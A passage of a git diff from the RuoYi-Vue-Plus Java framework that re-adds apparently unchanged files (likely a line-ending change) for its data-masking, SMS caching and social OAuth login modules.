mapping.getHandlerMethods(); + map.keySet().forEach(info -> { + // 获取注解上边的 path 替代 path variable 为 * + Objects.requireNonNull(info.getPathPatternsCondition().getPatterns()) + .forEach(url -> set.add(ReUtil.replaceAll(url.getPatternString(), PATTERN, "*"))); + }); + urls.addAll(set); + } + +} diff --git a/ruoyi-common/ruoyi-common-security/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-security/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 6def724..3fc82fe 100644 --- a/ruoyi-common/ruoyi-common-security/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-security/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1,2 +1,2 @@ -org.dromara.common.security.handler.AllUrlHandler -org.dromara.common.security.config.SecurityConfig +org.dromara.common.security.handler.AllUrlHandler +org.dromara.common.security.config.SecurityConfig diff --git a/ruoyi-common/ruoyi-common-sensitive/pom.xml b/ruoyi-common/ruoyi-common-sensitive/pom.xml index fecdf09..cb71703 100644 --- a/ruoyi-common/ruoyi-common-sensitive/pom.xml +++ b/ruoyi-common/ruoyi-common-sensitive/pom.xml @@ -1,25 +1,25 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-sensitive - - - ruoyi-common-sensitive 脱敏模块 - - - - - org.dromara - ruoyi-common-json - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-sensitive + + + ruoyi-common-sensitive 脱敏模块 + + + + + org.dromara + ruoyi-common-json + + + + diff --git a/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/annotation/Sensitive.java b/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/annotation/Sensitive.java index e75dc5b..2648342 100644 --- a/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/annotation/Sensitive.java +++ b/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/annotation/Sensitive.java @@ -1,34 +1,34 @@ -package org.dromara.common.sensitive.annotation; - -import com.fasterxml.jackson.annotation.JacksonAnnotationsInside; -import com.fasterxml.jackson.databind.annotation.JsonSerialize; -import org.dromara.common.sensitive.core.SensitiveStrategy; -import org.dromara.common.sensitive.handler.SensitiveHandler; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 数据脱敏注解 - * - * @author zhujie - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.FIELD) -@JacksonAnnotationsInside -@JsonSerialize(using = SensitiveHandler.class) -public @interface Sensitive { - SensitiveStrategy strategy(); - - /** - * 角色标识符 多个角色满足一个即可 - */ - String[] roleKey() default {}; - - /** - * 权限标识符 多个权限满足一个即可 - */ - String[] perms() default {}; -} +package org.dromara.common.sensitive.annotation; + +import com.fasterxml.jackson.annotation.JacksonAnnotationsInside; +import com.fasterxml.jackson.databind.annotation.JsonSerialize; +import org.dromara.common.sensitive.core.SensitiveStrategy; +import org.dromara.common.sensitive.handler.SensitiveHandler; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 数据脱敏注解 + * + * @author zhujie + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.FIELD) +@JacksonAnnotationsInside +@JsonSerialize(using = SensitiveHandler.class) +public @interface Sensitive { + SensitiveStrategy strategy(); + + /** + * 角色标识符 多个角色满足一个即可 + */ + String[] roleKey() default {}; + + /** + * 权限标识符 多个权限满足一个即可 + */ + String[] perms() default {}; +} diff --git a/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/core/SensitiveService.java b/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/core/SensitiveService.java index 03a7f9c..373f708 100644 --- a/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/core/SensitiveService.java +++ b/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/core/SensitiveService.java @@ -1,18 +1,18 @@ -package org.dromara.common.sensitive.core; - -/** - * 脱敏服务 - * 默认管理员不过滤 - * 需自行根据业务重写实现 - * - * @author Lion Li - * @version 3.6.0 - */ -public interface SensitiveService { - - /** - * 是否脱敏 - */ - boolean isSensitive(String[] roleKey, String[] perms); - -} +package org.dromara.common.sensitive.core; + +/** + * 脱敏服务 + * 默认管理员不过滤 + * 需自行根据业务重写实现 + * + * @author Lion Li + * @version 3.6.0 + */ +public interface SensitiveService { + + /** + * 是否脱敏 + */ + boolean isSensitive(String[] roleKey, String[] perms); + +} diff --git a/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/core/SensitiveStrategy.java b/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/core/SensitiveStrategy.java index 995dcbd..d2f4b66 100644 --- a/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/core/SensitiveStrategy.java +++ b/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/core/SensitiveStrategy.java @@ -1,99 +1,99 @@ -package org.dromara.common.sensitive.core; - -import cn.hutool.core.util.DesensitizedUtil; -import lombok.AllArgsConstructor; - -import java.util.function.Function; - -/** - * 脱敏策略 - * - * @author Yjoioooo - * @version 3.6.0 - */ -@AllArgsConstructor -public enum SensitiveStrategy { - - /** - * 身份证脱敏 - */ - ID_CARD(s -> DesensitizedUtil.idCardNum(s, 3, 4)), - - /** - * 手机号脱敏 - */ - PHONE(DesensitizedUtil::mobilePhone), - - /** - * 地址脱敏 - */ - ADDRESS(s -> DesensitizedUtil.address(s, 8)), - - /** - * 邮箱脱敏 - */ - EMAIL(DesensitizedUtil::email), - - /** - * 银行卡 - */ - BANK_CARD(DesensitizedUtil::bankCard), - - /** - * 中文名 - */ - CHINESE_NAME(DesensitizedUtil::chineseName), - - /** - * 固定电话 - */ - FIXED_PHONE(DesensitizedUtil::fixedPhone), - - /** - * 用户ID - */ - USER_ID(s -> String.valueOf(DesensitizedUtil.userId())), - - /** - * 密码 - */ - PASSWORD(DesensitizedUtil::password), - - /** - * ipv4 - */ - IPV4(DesensitizedUtil::ipv4), - - /** - * ipv6 - */ - IPV6(DesensitizedUtil::ipv6), - - /** - * 中国大陆车牌,包含普通车辆、新能源车辆 - */ - CAR_LICENSE(DesensitizedUtil::carLicense), - - /** - * 只显示第一个字符 - */ - FIRST_MASK(DesensitizedUtil::firstMask), - - /** - * 清空为null - */ - CLEAR(s -> DesensitizedUtil.clear()), - - /** - * 清空为"" - */ - CLEAR_TO_NULL(s -> DesensitizedUtil.clearToNull()); - - //可自行添加其他脱敏策略 - - private final Function desensitizer; - - public Function desensitizer() { - return desensitizer; - } -} +package org.dromara.common.sensitive.core; + +import cn.hutool.core.util.DesensitizedUtil; +import lombok.AllArgsConstructor; + +import java.util.function.Function; + +/** + * 脱敏策略 + * + * @author Yjoioooo + * @version 3.6.0 + */ +@AllArgsConstructor +public enum SensitiveStrategy { + + /** + * 身份证脱敏 + */ + ID_CARD(s -> DesensitizedUtil.idCardNum(s, 3, 4)), + + /** + * 手机号脱敏 + */ + PHONE(DesensitizedUtil::mobilePhone), + + /** + * 地址脱敏 + */ + ADDRESS(s -> DesensitizedUtil.address(s, 8)), + + /** + * 邮箱脱敏 + */ + EMAIL(DesensitizedUtil::email), + + /** + * 银行卡 + */ + BANK_CARD(DesensitizedUtil::bankCard), + + /** + * 中文名 + */ + CHINESE_NAME(DesensitizedUtil::chineseName), + + /** + * 固定电话 + */ + FIXED_PHONE(DesensitizedUtil::fixedPhone), + + /** + * 用户ID + */ + USER_ID(s -> String.valueOf(DesensitizedUtil.userId())), + + /** + * 密码 + */ + PASSWORD(DesensitizedUtil::password), + + /** + * ipv4 + */ + IPV4(DesensitizedUtil::ipv4), + + /** + * ipv6 + */ + IPV6(DesensitizedUtil::ipv6), + + /** + * 中国大陆车牌,包含普通车辆、新能源车辆 + */ + CAR_LICENSE(DesensitizedUtil::carLicense), + + /** + * 只显示第一个字符 + */ + FIRST_MASK(DesensitizedUtil::firstMask), + + /** + * 清空为null + */ + CLEAR(s -> DesensitizedUtil.clear()), + + /** + * 清空为"" + */ + CLEAR_TO_NULL(s -> DesensitizedUtil.clearToNull()); + + //可自行添加其他脱敏策略 + + private final Function desensitizer; + + public Function desensitizer() { + return desensitizer; + } +} diff --git a/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/handler/SensitiveHandler.java b/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/handler/SensitiveHandler.java index bad2542..a5d6f2c 100644 --- a/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/handler/SensitiveHandler.java +++ b/ruoyi-common/ruoyi-common-sensitive/src/main/java/org/dromara/common/sensitive/handler/SensitiveHandler.java @@ -1,58 +1,58 @@ -package org.dromara.common.sensitive.handler; - -import cn.hutool.core.util.ObjectUtil; -import com.fasterxml.jackson.core.JsonGenerator; -import com.fasterxml.jackson.databind.BeanProperty; -import com.fasterxml.jackson.databind.JsonMappingException; -import com.fasterxml.jackson.databind.JsonSerializer; -import com.fasterxml.jackson.databind.SerializerProvider; -import com.fasterxml.jackson.databind.ser.ContextualSerializer; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.sensitive.annotation.Sensitive; -import org.dromara.common.sensitive.core.SensitiveService; -import org.dromara.common.sensitive.core.SensitiveStrategy; -import org.springframework.beans.BeansException; - -import java.io.IOException; -import java.util.Objects; - -/** - * 数据脱敏json序列化工具 - * - * @author Yjoioooo - */ -@Slf4j -public class SensitiveHandler extends JsonSerializer implements ContextualSerializer { - - private SensitiveStrategy strategy; - private String[] roleKey; - private String[] perms; - - @Override - public void serialize(String value, JsonGenerator gen, SerializerProvider serializers) throws IOException { - try { - SensitiveService sensitiveService = SpringUtils.getBean(SensitiveService.class); - if (ObjectUtil.isNotNull(sensitiveService) && sensitiveService.isSensitive(roleKey, perms)) { - gen.writeString(strategy.desensitizer().apply(value)); - } else { - gen.writeString(value); - } - } catch (BeansException e) { - log.error("脱敏实现不存在, 采用默认处理 => {}", e.getMessage()); - gen.writeString(value); - } - } - - @Override - public JsonSerializer createContextual(SerializerProvider prov, BeanProperty property) throws JsonMappingException { - Sensitive annotation = property.getAnnotation(Sensitive.class); - if (Objects.nonNull(annotation) && Objects.equals(String.class, property.getType().getRawClass())) { - this.strategy = annotation.strategy(); - this.roleKey = annotation.roleKey(); - this.perms = annotation.perms(); - return this; - } - return prov.findValueSerializer(property.getType(), property); - } -} +package org.dromara.common.sensitive.handler; + +import cn.hutool.core.util.ObjectUtil; +import com.fasterxml.jackson.core.JsonGenerator; +import com.fasterxml.jackson.databind.BeanProperty; +import com.fasterxml.jackson.databind.JsonMappingException; +import com.fasterxml.jackson.databind.JsonSerializer; +import com.fasterxml.jackson.databind.SerializerProvider; +import com.fasterxml.jackson.databind.ser.ContextualSerializer; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.sensitive.annotation.Sensitive; +import org.dromara.common.sensitive.core.SensitiveService; +import org.dromara.common.sensitive.core.SensitiveStrategy; +import org.springframework.beans.BeansException; + +import java.io.IOException; +import java.util.Objects; + +/** + * 数据脱敏json序列化工具 + * + * @author Yjoioooo + */ +@Slf4j +public class SensitiveHandler extends JsonSerializer implements ContextualSerializer { + + private SensitiveStrategy strategy; + private String[] roleKey; + private String[] perms; + + @Override + public void serialize(String value, JsonGenerator gen, SerializerProvider serializers) throws IOException { + try { + SensitiveService sensitiveService = SpringUtils.getBean(SensitiveService.class); + if (ObjectUtil.isNotNull(sensitiveService) && sensitiveService.isSensitive(roleKey, perms)) { + gen.writeString(strategy.desensitizer().apply(value)); + } else { + gen.writeString(value); + } + } catch (BeansException e) { + log.error("脱敏实现不存在, 采用默认处理 => {}", e.getMessage()); + gen.writeString(value); + } + } + + @Override + public JsonSerializer createContextual(SerializerProvider prov, BeanProperty property) throws JsonMappingException { + Sensitive annotation = property.getAnnotation(Sensitive.class); + if (Objects.nonNull(annotation) && Objects.equals(String.class, property.getType().getRawClass())) { + this.strategy = annotation.strategy(); + this.roleKey = annotation.roleKey(); + this.perms = annotation.perms(); + return this; + } + return prov.findValueSerializer(property.getType(), property); + } +} diff --git a/ruoyi-common/ruoyi-common-sms/pom.xml b/ruoyi-common/ruoyi-common-sms/pom.xml index 932cb9d..b0a395f 100644 --- a/ruoyi-common/ruoyi-common-sms/pom.xml +++ b/ruoyi-common/ruoyi-common-sms/pom.xml @@ -1,33 +1,33 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-sms - - - ruoyi-common-sms 短信模块 - - - - - - org.dromara.sms4j - sms4j-spring-boot-starter - - - - - org.dromara - ruoyi-common-redis - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-sms + + + ruoyi-common-sms 短信模块 + + + + + + org.dromara.sms4j + sms4j-spring-boot-starter + + + + + org.dromara + ruoyi-common-redis + + + + + diff --git a/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/config/SmsAutoConfiguration.java b/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/config/SmsAutoConfiguration.java index 3a39cc2..7b1d8ae 100644 --- a/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/config/SmsAutoConfiguration.java +++ b/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/config/SmsAutoConfiguration.java @@ -1,33 +1,33 @@ -package org.dromara.common.sms.config; - -import org.dromara.common.sms.core.dao.PlusSmsDao; -import org.dromara.common.sms.handler.SmsExceptionHandler; -import org.dromara.sms4j.api.dao.SmsDao; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Primary; - -/** - * 短信配置类 - * - * @author Feng - */ -@AutoConfiguration(after = {RedisAutoConfiguration.class}) -public class SmsAutoConfiguration { - - @Primary - @Bean - public SmsDao smsDao() { - return new PlusSmsDao(); - } - - /** - * 异常处理器 - */ - @Bean - public SmsExceptionHandler smsExceptionHandler() { - return new SmsExceptionHandler(); - } - -} +package org.dromara.common.sms.config; + +import org.dromara.common.sms.core.dao.PlusSmsDao; +import org.dromara.common.sms.handler.SmsExceptionHandler; +import org.dromara.sms4j.api.dao.SmsDao; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Primary; + +/** + * 短信配置类 + * + * @author Feng + */ +@AutoConfiguration(after = {RedisAutoConfiguration.class}) +public class SmsAutoConfiguration { + + @Primary + @Bean + public SmsDao smsDao() { + return new PlusSmsDao(); + } + + /** + * 异常处理器 + */ + @Bean + public SmsExceptionHandler smsExceptionHandler() { + return new SmsExceptionHandler(); + } + +} diff --git a/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/core/dao/PlusSmsDao.java b/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/core/dao/PlusSmsDao.java index a757655..9a2fe5a 100644 --- a/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/core/dao/PlusSmsDao.java +++ b/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/core/dao/PlusSmsDao.java @@ -1,72 +1,72 @@ -package org.dromara.common.sms.core.dao; - -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.sms4j.api.dao.SmsDao; - -import java.time.Duration; - -/** - * SmsDao缓存配置 (使用框架自带RedisUtils实现 协议统一) - *

主要用于短信重试和拦截的缓存 - * - * @author Feng - */ -public class PlusSmsDao implements SmsDao { - - /** - * 存储 - * - * @param key 键 - * @param value 值 - * @param cacheTime 缓存时间(单位:秒) - */ - @Override - public void set(String key, Object value, long cacheTime) { - RedisUtils.setCacheObject(GlobalConstants.GLOBAL_REDIS_KEY + key, value, Duration.ofSeconds(cacheTime)); - } - - /** - * 存储 - * - * @param key 键 - * @param value 值 - */ - @Override - public void set(String key, Object value) { - RedisUtils.setCacheObject(GlobalConstants.GLOBAL_REDIS_KEY + key, value, true); - } - - /** - * 读取 - * - * @param key 键 - * @return 值 - */ - @Override - public Object get(String key) { - return RedisUtils.getCacheObject(GlobalConstants.GLOBAL_REDIS_KEY + key); - } - - /** - * remove - *

根据key移除缓存 - * - * @param key 缓存键 - * @return 被删除的value - * @author :Wind - */ - @Override - public Object remove(String key) { - return RedisUtils.deleteObject(GlobalConstants.GLOBAL_REDIS_KEY + key); - } - - /** - * 清空 - */ - @Override - public void clean() { - RedisUtils.deleteKeys(GlobalConstants.GLOBAL_REDIS_KEY + "sms:*"); - } - -} +package org.dromara.common.sms.core.dao; + +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.sms4j.api.dao.SmsDao; + +import java.time.Duration; + +/** + * SmsDao缓存配置 (使用框架自带RedisUtils实现 协议统一) + *

主要用于短信重试和拦截的缓存 + * + * @author Feng + */ +public class PlusSmsDao implements SmsDao { + + /** + * 存储 + * + * @param key 键 + * @param value 值 + * @param cacheTime 缓存时间(单位:秒) + */ + @Override + public void set(String key, Object value, long cacheTime) { + RedisUtils.setCacheObject(GlobalConstants.GLOBAL_REDIS_KEY + key, value, Duration.ofSeconds(cacheTime)); + } + + /** + * 存储 + * + * @param key 键 + * @param value 值 + */ + @Override + public void set(String key, Object value) { + RedisUtils.setCacheObject(GlobalConstants.GLOBAL_REDIS_KEY + key, value, true); + } + + /** + * 读取 + * + * @param key 键 + * @return 值 + */ + @Override + public Object get(String key) { + return RedisUtils.getCacheObject(GlobalConstants.GLOBAL_REDIS_KEY + key); + } + + /** + * remove + *

根据key移除缓存 + * + * @param key 缓存键 + * @return 被删除的value + * @author :Wind + */ + @Override + public Object remove(String key) { + return RedisUtils.deleteObject(GlobalConstants.GLOBAL_REDIS_KEY + key); + } + + /** + * 清空 + */ + @Override + public void clean() { + RedisUtils.deleteKeys(GlobalConstants.GLOBAL_REDIS_KEY + "sms:*"); + } + +} diff --git a/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/handler/SmsExceptionHandler.java b/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/handler/SmsExceptionHandler.java index 2c619a3..47b760e 100644 --- a/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/handler/SmsExceptionHandler.java +++ b/ruoyi-common/ruoyi-common-sms/src/main/java/org/dromara/common/sms/handler/SmsExceptionHandler.java @@ -1,30 +1,30 @@ -package org.dromara.common.sms.handler; - -import cn.hutool.http.HttpStatus; -import jakarta.servlet.http.HttpServletRequest; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.dromara.sms4j.comm.exception.SmsBlendException; -import org.springframework.web.bind.annotation.ExceptionHandler; -import org.springframework.web.bind.annotation.RestControllerAdvice; - -/** - * SMS异常处理器 - * - * @author AprilWind - */ -@Slf4j -@RestControllerAdvice -public class SmsExceptionHandler { - - /** - * sms异常 - */ - @ExceptionHandler(SmsBlendException.class) - public R handleSmsBlendException(SmsBlendException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',发生sms短信异常.", requestURI, e); - return R.fail(HttpStatus.HTTP_INTERNAL_ERROR, "短信发送失败,请稍后再试..."); - } - -} +package org.dromara.common.sms.handler; + +import cn.hutool.http.HttpStatus; +import jakarta.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.dromara.sms4j.comm.exception.SmsBlendException; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; + +/** + * SMS异常处理器 + * + * @author AprilWind + */ +@Slf4j +@RestControllerAdvice +public class SmsExceptionHandler { + + /** + * sms异常 + */ + @ExceptionHandler(SmsBlendException.class) + public R handleSmsBlendException(SmsBlendException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',发生sms短信异常.", requestURI, e); + return R.fail(HttpStatus.HTTP_INTERNAL_ERROR, "短信发送失败,请稍后再试..."); + } + +} diff --git a/ruoyi-common/ruoyi-common-sms/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-sms/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 5919ce3..8f31fcb 100644 --- a/ruoyi-common/ruoyi-common-sms/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-sms/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.sms.config.SmsAutoConfiguration +org.dromara.common.sms.config.SmsAutoConfiguration diff --git a/ruoyi-common/ruoyi-common-social/pom.xml b/ruoyi-common/ruoyi-common-social/pom.xml index 9f9a965..da8a508 100644 --- a/ruoyi-common/ruoyi-common-social/pom.xml +++ b/ruoyi-common/ruoyi-common-social/pom.xml @@ -1,34 +1,34 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-social - - - ruoyi-common-social 授权认证 - - - - - me.zhyd.oauth - JustAuth - - - - org.dromara - ruoyi-common-json - - - - org.dromara - ruoyi-common-redis - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-social + + + ruoyi-common-social 授权认证 + + + + + me.zhyd.oauth + JustAuth + + + + org.dromara + ruoyi-common-json + + + + org.dromara + ruoyi-common-redis + + + diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/SocialAutoConfiguration.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/SocialAutoConfiguration.java index 19b39d8..fcc86a8 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/SocialAutoConfiguration.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/SocialAutoConfiguration.java @@ -1,23 +1,23 @@ -package org.dromara.common.social.config; - -import me.zhyd.oauth.cache.AuthStateCache; -import org.dromara.common.social.config.properties.SocialProperties; -import org.dromara.common.social.utils.AuthRedisStateCache; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; - -/** - * Social 配置属性 - * @author thiszhc - */ -@AutoConfiguration -@EnableConfigurationProperties(SocialProperties.class) -public class SocialAutoConfiguration { - - @Bean - public AuthStateCache authStateCache() { - return new AuthRedisStateCache(); - } - -} +package org.dromara.common.social.config; + +import me.zhyd.oauth.cache.AuthStateCache; +import org.dromara.common.social.config.properties.SocialProperties; +import org.dromara.common.social.utils.AuthRedisStateCache; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; + +/** + * Social 配置属性 + * @author thiszhc + */ +@AutoConfiguration +@EnableConfigurationProperties(SocialProperties.class) +public class SocialAutoConfiguration { + + @Bean + public AuthStateCache authStateCache() { + return new AuthRedisStateCache(); + } + +} diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/properties/SocialLoginConfigProperties.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/properties/SocialLoginConfigProperties.java index 5f49d9c..ab16aeb 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/properties/SocialLoginConfigProperties.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/properties/SocialLoginConfigProperties.java @@ -1,75 +1,75 @@ -package org.dromara.common.social.config.properties; - -import lombok.Data; - -import java.util.List; - -/** - * 社交登录配置 - * - * @author thiszhc - */ -@Data -public class SocialLoginConfigProperties { - - /** - * 应用 ID - */ - private String clientId; - - /** - * 应用密钥 - */ - private String clientSecret; - - /** - * 回调地址 - */ - private String redirectUri; - - /** - * 是否获取unionId - */ - private boolean unionId; - - /** - * Coding 企业名称 - */ - private String codingGroupName; - - /** - * 支付宝公钥 - */ - private String alipayPublicKey; - - /** - * 企业微信应用ID - */ - private String agentId; - - /** - * stackoverflow api key - */ - private String stackOverflowKey; - - /** - * 设备ID - */ - private String deviceId; - - /** - * 客户端系统类型 - */ - private String clientOsType; - - /** - * maxkey 服务器地址 - */ - private String serverUrl; - - /** - * 请求范围 - */ - private List scopes; - -} +package org.dromara.common.social.config.properties; + +import lombok.Data; + +import java.util.List; + +/** + * 社交登录配置 + * + * @author thiszhc + */ +@Data +public class SocialLoginConfigProperties { + + /** + * 应用 ID + */ + private String clientId; + + /** + * 应用密钥 + */ + private String clientSecret; + + /** + * 回调地址 + */ + private String redirectUri; + + /** + * 是否获取unionId + */ + private boolean unionId; + + /** + * Coding 企业名称 + */ + private String codingGroupName; + + /** + * 支付宝公钥 + */ + private String alipayPublicKey; + + /** + * 企业微信应用ID + */ + private String agentId; + + /** + * stackoverflow api key + */ + private String stackOverflowKey; + + /** + * 设备ID + */ + private String deviceId; + + /** + * 客户端系统类型 + */ + private String clientOsType; + + /** + * maxkey 服务器地址 + */ + private String serverUrl; + + /** + * 请求范围 + */ + private List scopes; + +} diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/properties/SocialProperties.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/properties/SocialProperties.java index 1487a6a..9654fb7 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/properties/SocialProperties.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/config/properties/SocialProperties.java @@ -1,24 +1,24 @@ -package org.dromara.common.social.config.properties; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; -import org.springframework.stereotype.Component; - -import java.util.Map; - -/** - * Social 配置属性 - * - * @author thiszhc - */ -@Data -@Component -@ConfigurationProperties(prefix = "justauth") -public class SocialProperties { - - /** - * 授权类型 - */ - private Map type; - -} +package org.dromara.common.social.config.properties; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import java.util.Map; + +/** + * Social 配置属性 + * + * @author thiszhc + */ +@Data +@Component +@ConfigurationProperties(prefix = "justauth") +public class SocialProperties { + + /** + * 授权类型 + */ + private Map type; + +} diff --git a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/maxkey/AuthMaxKeyRequest.java b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/maxkey/AuthMaxKeyRequest.java index b95c19e..7e4dcda 100644 --- a/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/maxkey/AuthMaxKeyRequest.java +++ b/ruoyi-common/ruoyi-common-social/src/main/java/org/dromara/common/social/maxkey/AuthMaxKeyRequest.java @@ -1,80 +1,80 @@ -package org.dromara.common.social.maxkey; - -import cn.hutool.core.lang.Dict; -import me.zhyd.oauth.cache.AuthStateCache; -import me.zhyd.oauth.config.AuthConfig; -import me.zhyd.oauth.exception.AuthException; -import me.zhyd.oauth.model.AuthCallback; -import me.zhyd.oauth.model.AuthToken; -import me.zhyd.oauth.model.AuthUser; -import me.zhyd.oauth.request.AuthDefaultRequest; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.json.utils.JsonUtils; - -/** - * @author 长春叭哥 2023年03月26日 - */ -public class AuthMaxKeyRequest extends AuthDefaultRequest { - - public static final String SERVER_URL = SpringUtils.getProperty("justauth.type.maxkey.server-url"); - - /** - * 设定归属域 - */ - public AuthMaxKeyRequest(AuthConfig config) { - super(config, AuthMaxKeySource.MAXKEY); - } - - public AuthMaxKeyRequest(AuthConfig config, AuthStateCache authStateCache) { - super(config, AuthMaxKeySource.MAXKEY, authStateCache); - } - - @Override - protected AuthToken getAccessToken(AuthCallback authCallback) { - String body = doPostAuthorizationCode(authCallback.getCode()); - Dict object = JsonUtils.parseMap(body); - // oauth/token 验证异常 - if (object.containsKey("error")) { - throw new AuthException(object.getStr("error_description")); - } - // user 验证异常 - if (object.containsKey("message")) { - throw new AuthException(object.getStr("message")); - } - return AuthToken.builder() - .accessToken(object.getStr("access_token")) - .refreshToken(object.getStr("refresh_token")) - .idToken(object.getStr("id_token")) - .tokenType(object.getStr("token_type")) - .scope(object.getStr("scope")) - .build(); - } - - @Override - protected AuthUser getUserInfo(AuthToken authToken) { - String body = doGetUserInfo(authToken); - Dict object = JsonUtils.parseMap(body); - // oauth/token 验证异常 - if (object.containsKey("error")) { - throw new AuthException(object.getStr("error_description")); - } - // user 验证异常 - if (object.containsKey("message")) { - throw new AuthException(object.getStr("message")); - } - return AuthUser.builder() - .uuid(object.getStr("userId")) - .username(object.getStr("username")) - .nickname(object.getStr("displayName")) - .avatar(object.getStr("avatar_url")) - .blog(object.getStr("web_url")) - .company(object.getStr("organization")) - .location(object.getStr("location")) - .email(object.getStr("email")) - .remark(object.getStr("bio")) - .token(authToken) - .source(source.toString()) - .build(); - } - -} +package org.dromara.common.social.maxkey; + +import 